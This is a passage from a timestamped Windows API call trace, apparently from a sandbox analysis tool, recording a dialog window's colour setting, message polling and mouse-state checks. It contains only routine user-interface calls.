(hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.646] SetBkColor (hdc=0xffffffffd101065c, color=0xf0f0f0) returned 0xf0f0f0 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0x901e6, nIndex=-21) returned 0x7 [0043.646] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x7, lParam=0xa96acaf340) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0x901e6, nIndex=-21) returned 0x7 [0043.646] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x4e, wParam=0x7, lParam=0xa96acaf340) returned 0x0 [0043.646] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.646] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.646] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.646] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.646] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.646] GetWindowLongW (hWnd=0x9018a, nIndex=-16) returned 1342179332 [0043.646] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.646] GetSysColor (nIndex=8) returned 0x0 [0043.646] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.646] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0043.647] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.647] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x14, wParam=0x340106e8, lParam=0x0) returned 0x1 [0043.647] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.647] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.647] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.647] SetBkColor (hdc=0x340106e8, color=0xf0f0f0) returned 0xffffff [0043.647] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.647] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x318, wParam=0x340106e8, lParam=0x4) returned 0x0 [0043.647] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.647] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.647] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.647] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.647] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.647] GetWindowLongW (hWnd=0x9018a, nIndex=-16) returned 1342179332 [0043.647] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.647] GetSysColor (nIndex=8) returned 0x0 [0043.647] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.647] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xffffff [0043.648] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.648] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.648] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.648] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.648] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.648] GetWindowLongW (hWnd=0x9018a, nIndex=-16) returned 1342179332 [0043.648] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.648] GetSysColor (nIndex=8) returned 0x0 [0043.648] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.648] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0043.648] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.648] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.648] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.648] GetWindowLongPtrW (hWnd=0x9018a, nIndex=-21) returned 0x8 [0043.648] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.648] GetWindowLongW (hWnd=0x9018a, nIndex=-16) returned 1342179332 [0043.648] GetSysColor (nIndex=15) returned 0xf0f0f0 [0043.648] GetSysColor (nIndex=8) returned 0x0 [0043.648] SetTextColor (hdc=0x1601069e, color=0x0) returned 0x0 [0043.648] SetBkColor (hdc=0x1601069e, color=0xf0f0f0) returned 0xf0f0f0 [0043.649] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.649] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.649] CreateAcceleratorTableW (paccel=0xa96adbb8b0, cAccel=1) returned 0x1901df [0043.649] GetForegroundWindow () returned 0xa004e [0043.649] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.649] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.649] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.649] Sleep (dwMilliseconds=0x0) [0043.649] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] Sleep (dwMilliseconds=0x0) [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] Sleep (dwMilliseconds=0x0) [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.650] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.651] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.651] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.651] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0043.651] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0043.651] GetForegroundWindow () returned 0xa004e [0043.651] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.651] GetCursorPos (in: lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00*(x=800, y=505)) returned 1 [0043.651] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00) returned 1 [0043.651] GetAsyncKeyState (vKey=1) returned 0 [0043.651] GetAsyncKeyState (vKey=2) returned 0 [0043.651] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.651] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.651] Sleep (dwMilliseconds=0x0) [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] Sleep (dwMilliseconds=0x0) [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.652] Sleep (dwMilliseconds=0x0) [0043.652] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] Sleep (dwMilliseconds=0x0) [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.653] Sleep (dwMilliseconds=0x0) [0043.653] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] Sleep (dwMilliseconds=0x0) [0043.663] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.663] Sleep (dwMilliseconds=0x0) [0043.664] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.664] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.664] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.664] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.664] Sleep (dwMilliseconds=0x0) [0043.664] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.665] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.665] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.665] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.665] Sleep (dwMilliseconds=0x0) [0043.665] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] Sleep (dwMilliseconds=0x0) [0043.666] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.666] Sleep (dwMilliseconds=0x0) [0043.667] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.667] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.667] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.667] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.667] Sleep (dwMilliseconds=0x0) [0043.668] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.668] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.668] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.668] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.668] Sleep (dwMilliseconds=0x0) [0043.668] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.671] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.672] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.672] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.672] Sleep (dwMilliseconds=0x0) [0043.672] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.672] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.672] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.672] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.672] Sleep (dwMilliseconds=0x0) [0043.673] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] Sleep (dwMilliseconds=0x0) [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.674] Sleep (dwMilliseconds=0x0) [0043.674] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] Sleep (dwMilliseconds=0x0) [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] Sleep (dwMilliseconds=0x0) [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.675] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] Sleep (dwMilliseconds=0x0) [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] Sleep (dwMilliseconds=0x0) [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.676] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] Sleep (dwMilliseconds=0x0) [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] Sleep (dwMilliseconds=0x0) [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.677] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 